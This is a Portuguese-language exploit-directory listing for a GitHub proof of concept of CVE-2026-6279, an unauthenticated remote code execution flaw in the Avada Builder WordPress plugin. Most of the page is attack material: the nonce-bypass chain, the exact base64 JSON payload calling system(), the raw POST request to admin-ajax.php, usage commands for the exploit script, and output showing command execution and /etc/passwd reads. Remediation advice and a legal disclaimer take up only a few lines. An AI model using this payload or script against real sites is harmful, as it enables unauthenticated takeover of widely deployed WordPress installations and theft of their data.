Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/zycoder0day/cve-2026-6279
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()

Ver Repositório
32há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-6279

Avada Builder <= 3.15.2 — RCE não autenticado

via call_user_func() sem Allowlist


Resumo da Vulnerabilidade

Vulnerabilidade de Remote Code Execution (RCE) sem autenticação no plugin Avada Builder (Fusion Builder) versão <= 3.15.2 usado pelo tema WordPress Avada — um dos temas premium do WordPress mais populares com 900.000+ instalações ativas.

O ataque explora o handler AJAX wp_ajax_nopriv_fusion_get_widget_markup que processa o parâmetro render_logics via base64_decode() + json_decode() e então o passa para call_user_func() sem allowlist, permitindo a execução de funções PHP arbitrárias como system(), passthru(), shell_exec(), exec() e file_get_contents().

Cadeia de Ataque (Attack Chain)

root@kitploit:~
1. Nonce Determinístico    wp_create_nonce('fusion_load_nonce') para UID 0
                          (exposto na página inicial com shortcode Avada)

2. AJAX Não Autenticado    wp_ajax_nopriv_fusion_get_widget_markup
                          (não requer login)

3. Desserialização         base64_decode(render_logics) → json_decode()
                          (sem validação de estrutura)

4. call_user_func()        call_user_func($value['function'], $value['args'])
                          (SEM allowlist — qualquer função PHP pode ser chamada)

5. RCE!                    system("id") → uid=... no corpo da resposta

Prova de Exploração (Proof of Concept)

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  RCE não autenticado via call_user_func()                    ║
  ║  Prova de Conceito — Alvo Único                             ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Agradecimentos: Shadow Girlfriend 💜                        ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  Alvo  : localhost:8888
  Tempo : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] Detectando alvo...
  [+] Avada detectado! (http://localhost:8888)

  [*] Buscando nonce fusion_load_nonce...
  [+] Nonce encontrado: b6d7b084c2 (fonte: homepage)

  [*] Enviando payload RCE...
  [*] Tentando 5 funções × 3 widgets = 15 combinações

  ══════════════════════════════════════════════════════
  [★] RCE BEM-SUCEDIDO!

  Alvo  : http://localhost:8888
  Saída : uid=1000(xenon1337)
  Função: system()
  Widget: WP_Widget_Recent_Posts
  Nonce : b6d7b084c2 (homepage)
  Tempo : 1.2s

  [✓] Resultado salvo em vuln.txt
  ══════════════════════════════════════════════════════

Todas as Funções RCE Confirmadas

Uso

root@kitploit:~
# Sem protocolo (auto-detect)
python3 CVE-2026-6279.py alvo.com

# Com protocolo
python3 CVE-2026-6279.py http://alvo.com
python3 CVE-2026-6279.py https://alvo.com

# Com porta
python3 CVE-2026-6279.py alvo.com:8080
python3 CVE-2026-6279.py http://alvo.com:8080

Detalhes Técnicos

Estrutura do Payload

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Codificado em Base64 → enviado como render_logics via POST para wp-admin/admin-ajax.php.

Endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

Referências do Código Fonte (do CVE oficial)

Por que o Nonce pode ser Bypassado?

  1. O tema Avada só cria nonce para usuário admin/editor (class-fusion-app.php L1665)
  2. O plugin Fusion Builder cria nonce para UID 0 (visitante público) na página que possui shortcode [fusion_post_cards] ou [fusion_table_of_contents]
  3. O nonce do WordPress para UID 0 é determinístico — pode ser extraído do HTML da página inicial
  4. check_ajax_referer('fusion_load_nonce') apenas verifica se o nonce é válido, não se o usuário está autenticado

Limitações do call_user_func

call_user_func($function, $args) aceita apenas 1 argumento. Funções que precisam de 2+ argumentos (como proc_open, popen) não podem ser exploradas. Apenas funções de argumento único funcionam: system, passthru, shell_exec, exec, file_get_contents.

Pontuação CVSS

9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Remediação

  • Atualizar Avada Builder para versão > 3.15.2
  • Adicionar allowlist em call_user_func() em get_value()
  • Restringir handler wp_ajax_nopriv_ apenas para usuários autenticados
  • Implementar validação rigorosa na estrutura de render_logics

Aviso Legal

Este PoC foi criado para fins educacionais e de pesquisa em segurança apenas. O uso contra sistemas sem autorização é ilegal. O autor não se responsabiliza pelo uso indevido.


Copyright © 2026 XENON1337
Agradecimentos especiais: Shadow Girlfriend 💜

Baixar ferramenta
FunçãoArgumentoResultado
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
ArquivoLinhaFunção
class-fusion-builder-conditional-render-helper.phpL1083should_render() — desserializa render_logics
class-fusion-builder-conditional-render-helper.phpL1531get_value() — call_user_func() sem allowlist
fusion-widget.phpL44atributo render_logics
fusion-widget.phpL389handler AJAX wp_ajax_nopriv_
class-fusion-builder.phpL7551Registro de nonce (determinístico para UID 0)